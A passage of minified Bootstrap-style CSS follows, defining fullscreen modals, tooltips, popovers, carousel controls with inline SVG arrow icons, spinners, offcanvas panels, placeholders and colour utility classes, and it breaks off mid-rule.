.modal-footer,.modal-fullscreen-lg-down .modal-header{border-radius:0}.modal-fullscreen-lg-down .modal-body{overflow-y:auto}}@media (max-width:1199.98px){.modal-fullscreen-xl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xl-down .modal-footer,.modal-fullscreen-xl-down .modal-header{border-radius:0}.modal-fullscreen-xl-down .modal-body{overflow-y:auto}}@media (max-width:1399.98px){.modal-fullscreen-xxl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xxl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xxl-down .modal-footer,.modal-fullscreen-xxl-down .modal-header{border-radius:0}.modal-fullscreen-xxl-down .modal-body{overflow-y:auto}}.tooltip{--bs-tooltip-zindex:1080;--bs-tooltip-max-width:200px;--bs-tooltip-padding-x:0.5rem;--bs-tooltip-padding-y:0.25rem;--bs-tooltip-margin: ;--bs-tooltip-font-size:0.875rem;--bs-tooltip-color:var(--bs-body-bg);--bs-tooltip-bg:var(--bs-emphasis-color);--bs-tooltip-border-radius:var(--bs-border-radius);--bs-tooltip-opacity:0.9;--bs-tooltip-arrow-width:0.8rem;--bs-tooltip-arrow-height:0.4rem;z-index:var(--bs-tooltip-zindex);display:block;margin:var(--bs-tooltip-margin);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-tooltip-font-size);word-wrap:break-word;opacity:0}.tooltip.show{opacity:var(--bs-tooltip-opacity)}.tooltip .tooltip-arrow{display:block;width:var(--bs-tooltip-arrow-width);height:var(--bs-tooltip-arrow-height)}.tooltip .tooltip-arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow,.bs-tooltip-top .tooltip-arrow{bottom:calc(-1 * var(--bs-tooltip-arrow-height))}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow::before,.bs-tooltip-top .tooltip-arrow::before{top:-1px;border-width:var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0;border-top-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow,.bs-tooltip-end .tooltip-arrow{left:calc(-1 * var(--bs-tooltip-arrow-height));width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow::before,.bs-tooltip-end .tooltip-arrow::before{right:-1px;border-width:calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0;border-right-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow,.bs-tooltip-bottom .tooltip-arrow{top:calc(-1 * var(--bs-tooltip-arrow-height))}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow::before,.bs-tooltip-bottom .tooltip-arrow::before{bottom:-1px;border-width:0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height);border-bottom-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow,.bs-tooltip-start .tooltip-arrow{right:calc(-1 * var(--bs-tooltip-arrow-height));width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow::before,.bs-tooltip-start .tooltip-arrow::before{left:-1px;border-width:calc(var(--bs-tooltip-arrow-width) * .5) 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height);border-left-color:var(--bs-tooltip-bg)}.tooltip-inner{max-width:var(--bs-tooltip-max-width);padding:var(--bs-tooltip-padding-y) var(--bs-tooltip-padding-x);color:var(--bs-tooltip-color);text-align:center;background-color:var(--bs-tooltip-bg);border-radius:var(--bs-tooltip-border-radius)}.popover{--bs-popover-zindex:1070;--bs-popover-max-width:276px;--bs-popover-font-size:0.875rem;--bs-popover-bg:var(--bs-body-bg);--bs-popover-border-width:var(--bs-border-width);--bs-popover-border-color:var(--bs-border-color-translucent);--bs-popover-border-radius:var(--bs-border-radius-lg);--bs-popover-inner-border-radius:calc(var(--bs-border-radius-lg) - var(--bs-border-width));--bs-popover-box-shadow:var(--bs-box-shadow);--bs-popover-header-padding-x:1rem;--bs-popover-header-padding-y:0.5rem;--bs-popover-header-font-size:1rem;--bs-popover-header-color:var(--bs-primary-color);--bs-popover-header-bg:var(--bs-secondary-bg);--bs-popover-body-padding-x:1rem;--bs-popover-body-padding-y:1rem;--bs-popover-body-color:var(--bs-body-color);--bs-popover-arrow-width:1rem;--bs-popover-arrow-height:0.5rem;--bs-popover-arrow-border:var(--bs-popover-border-color);z-index:var(--bs-popover-zindex);display:block;max-width:var(--bs-popover-max-width);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-popover-font-size);word-wrap:break-word;background-color:var(--bs-popover-bg);background-clip:padding-box;border:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-radius:var(--bs-popover-border-radius);box-shadow:var(--bs-popover-box-shadow)}.popover .popover-arrow{display:block;width:var(--bs-popover-arrow-width);height:var(--bs-popover-arrow-height)}.popover .popover-arrow::after,.popover .popover-arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid;border-width:0}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow,.bs-popover-top>.popover-arrow{bottom:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width))}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::after,.bs-popover-top>.popover-arrow::before{border-width:var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::before{bottom:0;border-top-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-top>.popover-arrow::after{bottom:var(--bs-popover-border-width);border-top-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow,.bs-popover-end>.popover-arrow{left:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::after,.bs-popover-end>.popover-arrow::before{border-width:calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::before{left:0;border-right-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-end>.popover-arrow::after{left:var(--bs-popover-border-width);border-right-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow,.bs-popover-bottom>.popover-arrow{top:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width))}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::before{border-width:0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::before{top:0;border-bottom-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::after{top:var(--bs-popover-border-width);border-bottom-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:var(--bs-popover-arrow-width);margin-left:calc(-.5 * var(--bs-popover-arrow-width));content:"";border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-header-bg)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow,.bs-popover-start>.popover-arrow{right:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::after,.bs-popover-start>.popover-arrow::before{border-width:calc(var(--bs-popover-arrow-width) * .5) 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::before{right:0;border-left-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-start>.popover-arrow::after{right:var(--bs-popover-border-width);border-left-color:var(--bs-popover-bg)}.popover-header{padding:var(--bs-popover-header-padding-y) var(--bs-popover-header-padding-x);margin-bottom:0;font-size:var(--bs-popover-header-font-size);color:var(--bs-popover-header-color);background-color:var(--bs-popover-header-bg);border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-top-left-radius:var(--bs-popover-inner-border-radius);border-top-right-radius:var(--bs-popover-inner-border-radius)}.popover-header:empty{display:none}.popover-body{padding:var(--bs-popover-body-padding-y) var(--bs-popover-body-padding-x);color:var(--bs-popover-body-color)}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-end,.carousel-item-next:not(.carousel-item-start){transform:translateX(100%)}.active.carousel-item-start,.carousel-item-prev:not(.carousel-item-end){transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;transform:none}.carousel-fade .carousel-item-next.carousel-item-start,.carousel-fade .carousel-item-prev.carousel-item-end,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:0 0;border:0;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:2rem;height:2rem;background-repeat:no-repeat;background-position:50%;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:2;display:flex;justify-content:center;padding:0;margin-right:15%;margin-bottom:1rem;margin-left:15%}.carousel-indicators [data-bs-target]{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;padding:0;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border:0;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators [data-bs-target]{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:1.25rem;left:15%;padding-top:1.25rem;padding-bottom:1.25rem;color:#fff;text-align:center}.carousel-dark .carousel-control-next-icon,.carousel-dark .carousel-control-prev-icon{filter:invert(1) grayscale(100)}.carousel-dark .carousel-indicators [data-bs-target]{background-color:#000}.carousel-dark .carousel-caption{color:#000}[data-bs-theme=dark] .carousel .carousel-control-next-icon,[data-bs-theme=dark] .carousel .carousel-control-prev-icon,[data-bs-theme=dark].carousel .carousel-control-next-icon,[data-bs-theme=dark].carousel .carousel-control-prev-icon{filter:invert(1) grayscale(100)}[data-bs-theme=dark] .carousel .carousel-indicators [data-bs-target],[data-bs-theme=dark].carousel .carousel-indicators [data-bs-target]{background-color:#000}[data-bs-theme=dark] .carousel .carousel-caption,[data-bs-theme=dark].carousel .carousel-caption{color:#000}.spinner-border,.spinner-grow{display:inline-block;width:var(--bs-spinner-width);height:var(--bs-spinner-height);vertical-align:var(--bs-spinner-vertical-align);border-radius:50%;animation:var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name)}@keyframes spinner-border{to{transform:rotate(360deg)}}.spinner-border{--bs-spinner-width:2rem;--bs-spinner-height:2rem;--bs-spinner-vertical-align:-0.125em;--bs-spinner-border-width:0.25em;--bs-spinner-animation-speed:0.75s;--bs-spinner-animation-name:spinner-border;border:var(--bs-spinner-border-width) solid currentcolor;border-right-color:transparent}.spinner-border-sm{--bs-spinner-width:1rem;--bs-spinner-height:1rem;--bs-spinner-border-width:0.2em}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}.spinner-grow{--bs-spinner-width:2rem;--bs-spinner-height:2rem;--bs-spinner-vertical-align:-0.125em;--bs-spinner-animation-speed:0.75s;--bs-spinner-animation-name:spinner-grow;background-color:currentcolor;opacity:0}.spinner-grow-sm{--bs-spinner-width:1rem;--bs-spinner-height:1rem}@media (prefers-reduced-motion:reduce){.spinner-border,.spinner-grow{--bs-spinner-animation-speed:1.5s}}.offcanvas,.offcanvas-lg,.offcanvas-md,.offcanvas-sm,.offcanvas-xl,.offcanvas-xxl{--bs-offcanvas-zindex:1045;--bs-offcanvas-width:400px;--bs-offcanvas-height:30vh;--bs-offcanvas-padding-x:1rem;--bs-offcanvas-padding-y:1rem;--bs-offcanvas-color:var(--bs-body-color);--bs-offcanvas-bg:var(--bs-body-bg);--bs-offcanvas-border-width:var(--bs-border-width);--bs-offcanvas-border-color:var(--bs-border-color-translucent);--bs-offcanvas-box-shadow:var(--bs-box-shadow-sm);--bs-offcanvas-transition:transform 0.3s ease-in-out;--bs-offcanvas-title-line-height:1.5}@media (max-width:575.98px){.offcanvas-sm{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;box-shadow:var(--bs-offcanvas-box-shadow);transition:var(--bs-offcanvas-transition)}}@media (max-width:575.98px) and (prefers-reduced-motion:reduce){.offcanvas-sm{transition:none}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-sm.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-sm.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-sm.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-sm.show:not(.hiding),.offcanvas-sm.showing{transform:none}.offcanvas-sm.hiding,.offcanvas-sm.show,.offcanvas-sm.showing{visibility:visible}}@media (min-width:576px){.offcanvas-sm{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-sm .offcanvas-header{display:none}.offcanvas-sm .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:767.98px){.offcanvas-md{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;box-shadow:var(--bs-offcanvas-box-shadow);transition:var(--bs-offcanvas-transition)}}@media (max-width:767.98px) and (prefers-reduced-motion:reduce){.offcanvas-md{transition:none}}@media (max-width:767.98px){.offcanvas-md.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-md.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-md.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-md.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-md.show:not(.hiding),.offcanvas-md.showing{transform:none}.offcanvas-md.hiding,.offcanvas-md.show,.offcanvas-md.showing{visibility:visible}}@media (min-width:768px){.offcanvas-md{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-md .offcanvas-header{display:none}.offcanvas-md .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:991.98px){.offcanvas-lg{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;box-shadow:var(--bs-offcanvas-box-shadow);transition:var(--bs-offcanvas-transition)}}@media (max-width:991.98px) and (prefers-reduced-motion:reduce){.offcanvas-lg{transition:none}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-lg.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-lg.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-lg.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-lg.show:not(.hiding),.offcanvas-lg.showing{transform:none}.offcanvas-lg.hiding,.offcanvas-lg.show,.offcanvas-lg.showing{visibility:visible}}@media (min-width:992px){.offcanvas-lg{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-lg .offcanvas-header{display:none}.offcanvas-lg .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:1199.98px){.offcanvas-xl{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;box-shadow:var(--bs-offcanvas-box-shadow);transition:var(--bs-offcanvas-transition)}}@media (max-width:1199.98px) and (prefers-reduced-motion:reduce){.offcanvas-xl{transition:none}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-xl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-xl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-xl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-xl.show:not(.hiding),.offcanvas-xl.showing{transform:none}.offcanvas-xl.hiding,.offcanvas-xl.show,.offcanvas-xl.showing{visibility:visible}}@media (min-width:1200px){.offcanvas-xl{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-xl .offcanvas-header{display:none}.offcanvas-xl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:1399.98px){.offcanvas-xxl{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;box-shadow:var(--bs-offcanvas-box-shadow);transition:var(--bs-offcanvas-transition)}}@media (max-width:1399.98px) and (prefers-reduced-motion:reduce){.offcanvas-xxl{transition:none}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-xxl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-xxl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-xxl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-xxl.show:not(.hiding),.offcanvas-xxl.showing{transform:none}.offcanvas-xxl.hiding,.offcanvas-xxl.show,.offcanvas-xxl.showing{visibility:visible}}@media (min-width:1400px){.offcanvas-xxl{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-xxl .offcanvas-header{display:none}.offcanvas-xxl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}.offcanvas{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;box-shadow:var(--bs-offcanvas-box-shadow);transition:var(--bs-offcanvas-transition)}@media (prefers-reduced-motion:reduce){.offcanvas{transition:none}}.offcanvas.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas.show:not(.hiding),.offcanvas.showing{transform:none}.offcanvas.hiding,.offcanvas.show,.offcanvas.showing{visibility:visible}.offcanvas-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.offcanvas-backdrop.fade{opacity:0}.offcanvas-backdrop.show{opacity:.5}.offcanvas-header{display:flex;align-items:center;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x)}.offcanvas-header .btn-close{padding:calc(var(--bs-offcanvas-padding-y) * .5) calc(var(--bs-offcanvas-padding-x) * .5);margin:calc(-.5 * var(--bs-offcanvas-padding-y)) calc(-.5 * var(--bs-offcanvas-padding-x)) calc(-.5 * var(--bs-offcanvas-padding-y)) auto}.offcanvas-title{margin-bottom:0;line-height:var(--bs-offcanvas-title-line-height)}.offcanvas-body{flex-grow:1;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x);overflow-y:auto}.placeholder{display:inline-block;min-height:1em;vertical-align:middle;cursor:wait;background-color:currentcolor;opacity:.5}.placeholder.btn::before{display:inline-block;content:""}.placeholder-xs{min-height:.6em}.placeholder-sm{min-height:.8em}.placeholder-lg{min-height:1.2em}.placeholder-glow .placeholder{animation:placeholder-glow 2s ease-in-out infinite}@keyframes placeholder-glow{50%{opacity:.2}}.placeholder-wave{-webkit-mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);-webkit-mask-size:200% 100%;mask-size:200% 100%;animation:placeholder-wave 2s linear infinite}@keyframes placeholder-wave{100%{-webkit-mask-position:-200% 0%;mask-position:-200% 0%}}.clearfix::after{display:block;clear:both;content:""}.text-bg-primary{color:#fff!important;background-color:RGBA(var(--bs-primary-rgb),var(--bs-bg-opacity,1))!important}.text-bg-secondary{color:#000!important;background-color:RGBA(var(--bs-secondary-rgb),var(--bs-bg-opacity,1))!important}.text-bg-success{color:#fff!important;background-color:RGBA(var(--bs-success-rgb),var(--bs-bg-opacity,1))!important}.text-bg-info{color:#fff!important;background-color:RGBA(var(--bs-info-rgb),var(--bs-bg-opacity,1))!important}.text-bg-warning{color:#fff!important;background-color:RGBA(var(--bs-warning-rgb),var(--bs-bg-opacity,1))!important}.text-bg-danger{color:#fff!important;background-color:RGBA(var(--bs-danger-rgb),var(--bs-bg-opacity,1))!important}.text-bg-light{color:#000!important;background-color:RGBA(var(--bs-light-rgb),var(--bs-bg-opacity,1))!important}.text-bg-dark{color:#fff!important;background-color:RGBA(var(--bs-dark-rgb),var(--bs-bg-opacity,1))!important}.link-primary{color:RGBA(var(--bs-primary-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-primary-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-primary-rgb),var(--bs-link-underline-opacity,1))!important}.link-primary:focus,.link-primary:hover{color:RGBA(42,71,184,var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(42,71,184,var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(42,71,184,var(--bs-link-underline-opacity,1))!important}.link-secondary{color:RGBA(var(--bs-secondary-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-secondary-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-secondary-rgb),var(--bs-link-underline-opacity,1))!important}.link-secondary:focus,.link-secondary:hover{color:RGBA(255,255,255,var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(255,255,255,var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(255,255,255,var(--bs-link-underline-opacity,1))!important}.link-success{color:RGBA(var(--bs-success-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-success-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-success-rgb),var(--bs-link-underline-opacity,1))!important}.link-success:focus,.link-success:hover{color:RGBA(38,143,102,var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(38,143,102,var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(38,143,102,var(--bs-link-underline-opacity,1))!important}.link-info{color:RGBA(var(--bs-info-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-info-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-info-rgb),var(--bs-link-underline-opacity,1))!important}.link-info:focus,.link-info:hover{color:RG